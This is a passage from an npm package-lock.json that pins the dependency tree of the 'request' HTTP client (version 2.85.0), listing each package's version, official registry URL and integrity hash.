 51 |       "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz",
 52 |       "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y="
 53 |     },
 54 |     "assert-plus": {
 55 |       "version": "1.0.0",
 56 |       "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
 57 |       "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU="
 58 |     },
 59 |     "asynckit": {
 60 |       "version": "0.4.0",
 61 |       "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
 62 |       "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k="
 63 |     },
 64 |     "aws-sign2": {
 65 |       "version": "0.7.0",
 66 |       "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz",
 67 |       "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg="
 68 |     },
 69 |     "aws4": {
 70 |       "version": "1.7.0",
 71 |       "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.7.0.tgz",
 72 |       "integrity": "sha512-32NDda82rhwD9/JBCCkB+MRYDp0oSvlo2IL6rQWA10PQi7tDUM3eqMSltXmY+Oyl/7N3P3qNtAlv7X0d9bI28w=="
 73 |     },
 74 |     "bcrypt-pbkdf": {
 75 |       "version": "1.0.1",
 76 |       "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.1.tgz",
 77 |       "integrity": "sha1-Y7xdy2EzG5K8Bf1SiVPDNGKgb40=",
 78 |       "optional": true,
 79 |       "requires": {
 80 |         "tweetnacl": "0.14.5"
 81 |       }
 82 |     },
 83 |     "boom": {
 84 |       "version": "4.3.1",
 85 |       "resolved": "https://registry.npmjs.org/boom/-/boom-4.3.1.tgz",
 86 |       "integrity": "sha1-T4owBctKfjiJ90kDD9JbluAdLjE=",
 87 |       "requires": {
 88 |         "hoek": "4.2.1"
 89 |       },
 90 |       "dependencies": {
 91 |         "hoek": {
 92 |           "version": "4.2.1",
 93 |           "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz",
 94 |           "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA=="
 95 |         }
 96 |       }
 97 |     },
 98 |     "caseless": {
 99 |       "version": "0.12.0",
100 |       "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz",
101 |       "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw="
102 |     },
103 |     "co": {
104 |       "version": "4.6.0",
105 |       "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
106 |       "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ="
107 |     },
108 |     "colors": {
109 |       "version": "1.1.2",
110 |       "resolved": "https://registry.npmjs.org/colors/-/colors-1.1.2.tgz",
111 |       "integrity": "sha1-FopHAXVran9RoSzgyXv6KMCE7WM="
112 |     },
113 |     "combined-stream": {
114 |       "version": "1.0.6",
115 |       "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz",
116 |       "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=",
117 |       "requires": {
118 |         "delayed-stream": "1.0.0"
119 |       }
120 |     },
121 |     "core-util-is": {
122 |       "version": "1.0.2",
123 |       "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
124 |       "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac="
125 |     },
126 |     "cryptiles": {
127 |       "version": "3.1.2",
128 |       "resolved": "https://registry.npmjs.org/cryptiles/-/cryptiles-3.1.2.tgz",
129 |       "integrity": "sha1-qJ+7Ig9c4l7FboxKqKT9e1sNKf4=",
130 |       "requires": {
131 |         "boom": "5.2.0"
132 |       },
133 |       "dependencies": {
134 |         "boom": {
135 |           "version": "5.2.0",
136 |           "resolved": "https://registry.npmjs.org/boom/-/boom-5.2.0.tgz",
137 |           "integrity": "sha512-Z5BTk6ZRe4tXXQlkqftmsAUANpXmuwlsF5Oov8ThoMbQRzdGTA1ngYRW160GexgOgjsFOKJz0LYhoNi+2AMBUw==",
138 |           "requires": {
139 |             "hoek": "4.2.1"
140 |           }
141 |         },
142 |         "hoek": {
143 |           "version": "4.2.1",
144 |           "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz",
145 |           "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA=="
146 |         }
147 |       }
148 |     },
149 |     "dashdash": {
150 |       "version": "1.14.1",
151 |       "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
152 |       "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=",
153 |       "requires": {
154 |         "assert-plus": "1.0.0"
155 |       }
156 |     },
157 |     "delayed-stream": {
158 |       "version": "1.0.0",
159 |       "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
160 |       "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk="
161 |     },
162 |     "ecc-jsbn": {
163 |       "version": "0.1.1",
164 |       "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz",
165 |       "integrity": "sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=",
166 |       "optional": true,
167 |       "requires": {
168 |         "jsbn": "0.1.1"
169 |       }
170 |     },
171 |     "extend": {
172 |       "version": "3.0.1",
173 |       "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.1.tgz",
174 |       "integrity": "sha1-p1Xqe8Gt/MWjHOfnYtuq3F5jZEQ="
175 |     },
176 |     "extsprintf": {
177 |       "version": "1.3.0",
178 |       "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz",
179 |       "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU="
180 |     },
181 |     "fast-deep-equal": {
182 |       "version": "1.1.0",
183 |       "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz",
184 |       "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ="
185 |     },
186 |     "fast-json-stable-stringify": {
187 |       "version": "2.0.0",
188 |       "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz",
189 |       "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I="
190 |     },
191 |     "forever-agent": {
192 |       "version": "0.6.1",
193 |       "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz",
194 |       "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE="
195 |     },
196 |     "form-data": {
197 |       "version": "2.3.2",
198 |       "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz",
199 |       "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=",
200 |       "requires": {
201 |         "asynckit": "0.4.0",
202 |         "combined-stream": "1.0.6",
203 |         "mime-types": "2.1.18"
204 |       }
205 |     },
206 |     "getpass": {
207 |       "version": "0.1.7",
208 |       "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz",
209 |       "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=",
210 |       "requires": {
211 |         "assert-plus": "1.0.0"
212 |       }
213 |     },
214 |     "har-schema": {
215 |       "version": "2.0.0",
216 |       "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz",
217 |       "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI="
218 |     },
219 |     "har-validator": {
220 |       "version": "5.0.3",
221 |       "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.0.3.tgz",
222 |       "integrity": "sha1-ukAsJmGU8VlW7xXg/PJCmT9qff0=",
223 |       "requires": {
224 |         "ajv": "5.5.2",
225 |         "har-schema": "2.0.0"
226 |       }
227 |     },
228 |     "hawk": {
229 |       "version": "6.0.2",
230 |       "resolved": "https://registry.npmjs.org/hawk/-/hawk-6.0.2.tgz",
231 |       "integrity": "sha512-miowhl2+U7Qle4vdLqDdPt9m09K6yZhkLDTWGoUiUzrQCn+mHHSmfJgAyGaLRZbPmTqfFFjRV1QWCW0VWUJBbQ==",
232 |       "requires": {
233 |         "boom": "4.3.1",
234 |         "cryptiles": "3.1.2",
235 |         "hoek": "4.2.1",
236 |         "sntp": "2.1.0"
237 |       },
238 |       "dependencies": {
239 |         "hoek": {
240 |           "version": "4.2.1",
241 |           "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz",
242 |           "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA=="
243 |         }
244 |       }
245 |     },
246 |     "hoek": {
247 |       "version": "5.0.3",
248 |       "resolved": "https://registry.npmjs.org/hoek/-/hoek-5.0.3.tgz",
249 |       "integrity": "sha512-Bmr56pxML1c9kU+NS51SMFkiVQAb+9uFfXwyqR2tn4w2FPvmPt65eZ9aCcEfRXd9G74HkZnILC6p967pED4aiw=="
250 |     },
251 |     "http-signature": {
252 |       "version": "1.2.0",
253 |       "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz",
254 |       "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=",
255 |       "requires": {
256 |         "assert-plus": "1.0.0",
257 |         "jsprim": "1.4.1",
258 |         "sshpk": "1.14.1"
259 |       }
260 |     },
261 |     "is-typedarray": {
262 |       "version": "1.0.0",
263 |       "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
264 |       "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo="
265 |     },
266 |     "isstream": {
267 |       "version": "0.1.2",
268 |       "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
269 |       "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo="
270 |     },
271 |     "jsbn": {
272 |       "version": "0.1.1",
273 |       "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
274 |       "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=",
275 |       "optional": true
276 |     },
277 |     "json-schema": {
278 |       "version": "0.2.3",
279 |       "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz",
280 |       "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM="
281 |     },
282 |     "json-schema-traverse": {
283 |       "version": "0.3.1",
284 |       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz",
285 |       "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A="
286 |     },
287 |     "json-stringify-safe": {
288 |       "version": "5.0.1",
289 |       "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
290 |       "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus="
291 |     },
292 |     "jsprim": {
293 |       "version": "1.4.1",
294 |       "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz",
295 |       "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=",
296 |       "requires": {
297 |         "assert-plus": "1.0.0",
298 |         "extsprintf": "1.3.0",
299 |         "json-schema": "0.2.3",
300 |         "verror": "1.10.0"
301 |       }
302 |     },
303 |     "mime-db": {
304 |       "version": "1.33.0",
305 |       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.33.0.tgz",
306 |       "integrity": "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ=="
307 |     },
308 |     "mime-types": {
309 |       "version": "2.1.18",
310 |       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.18.tgz",
311 |       "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==",
312 |       "requires": {
313 |         "mime-db": "1.33.0"
314 |       }
315 |     },
316 |     "oauth-sign": {
317 |       "version": "0.8.2",
318 |       "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.8.2.tgz",
319 |       "integrity": "sha1-Rqarfwrq2N6unsBWV4C31O/rnUM="
320 |     },
321 |     "performance-now": {
322 |       "version": "2.1.0",
323 |       "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
324 |       "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns="
325 |     },
326 |     "punycode": {
327 |       "version": "1.4.1",
328 |       "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
329 |       "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4="
330 |     },
331 |     "qs": {
332 |       "version": "6.5.1",
333 |       "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz",
334 |       "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A=="
335 |     },
336 |     "request": {
337 |       "version": "2.85.0",
338 |       "resolved": "https://registry.npmjs.org/request/-/request-2.85.0.tgz",
339 |       "integrity": "sha512-8H7Ehijd4js+s6wuVPLjwORxD4zeuyjYugprdOXlPSqaApmL/QOy+EB/beICHVCHkGMKNh5rvihb5ov+IDw4mg==",
340 |       "requires": {
341 |         "aws-sign2": "0.7.0",
342 |         "aws4": "1.7.0",
343 |         "caseless": "0.12.0",
344 |         "combined-stream": "1.0.6",
345 |         "extend": "3.0.1",
346 |         "forever-agent": "0.6.1",
347 |         "form-data": "2.3.2",
348 |         "har-validator": "5.0.3",
349 |         "hawk": "6.0.2",
350 |         "http-signature": "1.2.0",
351 |         "is-typedarray": "1.0.0",
352 |         "isstream": "0.1.2",
353 |         "json-stringify-safe": "5.0.1",
354 |         "mime-types": "2.1.18",
355 |         "oauth-sign": "0.8.2",
356 |         "performance-now": "2.1.0",
357 |         "qs": "6.5.1",
358 |         "safe-buffer": "5.1.2",
359 |         "stringstream": "0.0.5",
360 |         "tough-cookie": "2.3.4",
361 |         "tunnel-agent": "0.6.0",
362 |         "uuid": "3.2.1"
363 |       }
364 |     },
365 |     "safe-buffer": {
366 |       "version": "5.1.2",
367 |       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
368 |       "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
369 |     },
370 |     "sntp": {
371 |       "version": "2.1.0",
372 |       "resolved": "https://registry.npmjs.org/sntp/-/sntp-2.1.0.tgz",
373 |       "integrity": "sha512-FL1b58BDrqS3A11lJ0zEdnJ3UOKqVxawAkF3k7F0CVN7VQ34aZrV+G8BZ1WC9ZL7NyrwsW0oviwsWDgRuVYtJg==",
374 |       "requires": {
375 |         "hoek": "4.2.1"
376 |       },
377 |       "dependencies": {
378 |         "hoek": {
379 |           "version": "4.2.1",
380 |           "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz",
381 |           "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA=="
382 |         }
383 |       }
384 |     },
385 |     "sshpk": {
386 |       "version": "1.14.1",
387 |       "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.1.tgz",
388 |       "integrity": "sha1-Ew9Zde3a2WPx1W+SuaxsUfqfg+s=",
389 |       "requires": {
390 |         "asn1": "0.2.3",
391 |         "assert-plus": "1.0.0",
392 |         "bcrypt-pbkdf": "1.0.1",
393 |         "dashdash": "1.14.1",
394 |         "ecc-jsbn": "0.1.1",
395 |         "getpass": "0.1.7",
396 |         "jsbn": "0.1.1",
397 |         "tweetnacl": "0.14.5"
398 |       }
399 |     },
400 |     "stringstream": {
401 |       "version": "0.0.5",
402 |       "resolved": "https://registry.npmjs.org/stringstream/-/stringstream-0.0.5.tgz",
403 |       "integrity": "sha1-TkhM1N5aC7vuGORjB3EKioFiGHg="
404 |     },
405 |     "tough-cookie": {
406 |       "version": "2.3.4",
407 |       "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.4.tgz",
408 |       "integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==",
409 |       "requires": {
410 |         "punycode": "1.4.1"
411 |       }
412 |     },
413 |     "tunnel-agent": {
414 |       "version": "0.6.0",
415 |       "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
416 |       "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=",
417 |       "requires": {
418 |         "safe-buffer": "5.1.2"
419 |       }
420 |     },
421 |     "tweetnacl": {
422 |       "version": "0.14.5",
423 |       "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
424 |       "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=",
425 |       "optional": true
426 |     },
427 |     "uuid": {
428 |       "version": "3.2.1",
429 |       "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz",
430 |       "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA=="
431 |     },
432 |     "verror": {
433 |       "version": "1.10.0",
434 |       "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz",
435 |       "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=",
436 |       "requires": {
437 |         "assert-plus": "1.0.0",
438 |         "core-util-is": "1.0.2",
439 |         "extsprintf": "1.3.0"
440 |       }
441 |     }
442 |   }
443 | }
444 | 


--------------------------------------------------------------------------------